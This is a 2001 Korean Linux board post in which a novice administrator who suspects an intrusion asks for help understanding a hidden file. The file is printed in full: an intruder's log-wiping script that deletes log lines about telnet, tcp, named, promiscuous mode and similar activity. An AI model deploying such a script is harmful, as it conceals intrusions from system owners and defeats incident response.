>> Read No. 20443 article  
[질문] 해킹 당한것 같은데. 도와주세요.

등록 2001-02-10 12:49:00     조회 2
이름 초보왕자    

		어떤놈이 이런거 만들어 놓고 ls 명령으로도 안보이도록 해놔서
다른 안전한 시스템의 ls 파일로 찾어낸 파일인데.. 데몬을 건딜인것
같은데.. 확실하게 어떻게 실행되는건지 잘 모르게네요. ㅠ_ㅠ;
해석좀 부탁할께요.. 초보 관리자라서 흑흑.. 죄송
 -파일 이름 (remlog) -
#!/bin/bash
#log removing tool, by CID.
#For MagNum.
#file to fix
FILE=$1
#last x lines to check for x string(s)
LINES=25
#strings to filter out.
STRING1=in.telnet
STRING2=tcp
STRING3=named
STRING4=promiscuous
STRING5=amd
STRING6=log
STRING7=ident
STRING8=onnect
SIZE=`wc -l $FILE | awk '{print $1}'`
echo MagNum. [log fixer]
if [ $SIZE -ge "25" ]; then
  TEMP1=`wc -l $FILE | awk '{print $1}'`
  TEMP2=`expr $TEMP1 - $LINES`
  head -$TEMP2 $FILE >$FILE~new
  tail -$LINES $FILE >/tmp/.tmplog
  cat /tmp/.tmplog | grep -v $STRING1 | grep -v $STRING2 >/tmp/.tmplog
  cat /tmp/.tmplog | grep -v $STRING3 | grep -v $STRING4 >/tmp/.tmplog
  cat /tmp/.tmplog | grep -v $STRING5 | grep -v $STRING6 >/tmp/.tmplog
  cat /tmp/.tmplog | grep -v $STRING7 | grep -v $STRING8 >/tmp/.tmplog
  cat /tmp/.tmplog >>$FILE~new
  sleep 1
  cat $FILE~new >$FILE
  sleep 1
  rm -f /tmp/.tmplog
  rm -f $FILE~new
  echo "fixed $FILE."
fi
if [ $SIZE -le "25" ]; then
  cat $FILE >/tmp/.tmplog
  cat /tmp/.tmplog | grep -v $STRING1 | grep -v $STRING2 >/tmp/.tmplog
  cat /tmp/.tmplog | grep -v $STRING3 | grep -v $STRING4 >/tmp/.tmplog
  cat /tmp/.tmplog | grep -v $STRING5 | grep -v $STRING6 >/tmp/.tmplog
  cat /tmp/.tmplog | grep -v $STRING7 | grep -v $STRING8 >/tmp/.tmplog
  cat /tmp/.tmplog >$FILE
  #for some reasons slower machines mess up when writing too quickly
(?)
  #like my 486!
  #so i added a small delay to help it along.., i am however still
clueless
  #as to why it does mess up. -cid
  sleep 1
  rm -f /tmp/.tmplog
  echo "fixed $FILE."
fi
이름
암호
Register [ localhost 목록보기 윗글 아랫글
글쓰기
답장쓰기 수정 삭제
정규표현식 [ 상세 검색 ]
페이지로딩: [ 1.07 초 ] 작업시간: [ 0.58 초 ]

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved
[TOP]

적수네 동네
+
| 적수네 동네
| 공부방
| 리눅스 잡지 서고
| LSN 소스
| 링크 모음
+---+
게시판
+
| 떠들어보세!
| 질문과 답변
| 새소식과 정보
| 1원짜리 팁?
| 대화방
+---+
칼럼?
+
| 세하 훔쳐보기
| Welcome2nite
| 혜진의 염장판
+---+
리눅스 상표권
+
| 반대 서명란
| 토론 게시판
+---+
GNU
+
| GNU 선언문
| GNU GPL
| GNU 미러 목록
+---+
프로젝트?
+
| 리눅스카운터
| RC5DES
| 실질헌법 제작
+---+
커널 소식
+
| 안정 버젼: 2.4.14
+---+
테마 선택
+
LSN 방송국?
+
| OFF AIR
+---+
회원
+
| 로그인
+---+
[ 적수네 동네 ] [ 리눅스 상표권 독점 반대 ] [ 한글 리눅스 문서 프로젝트 ] [ KrLine ] [ 사랑넷 ] [ Valid HTML 4.0! ] [ SlashDot ] [ Freshmeat ]
Copyleft (C) 1998-2001 Byeong-Chan Kim . License
TIME: 1789630948
System by WYZsoft, HDD by I.O.Linux, Mizi Research, Embryo, WOWLINUX, Domain by SarangNet, Network by KrLine.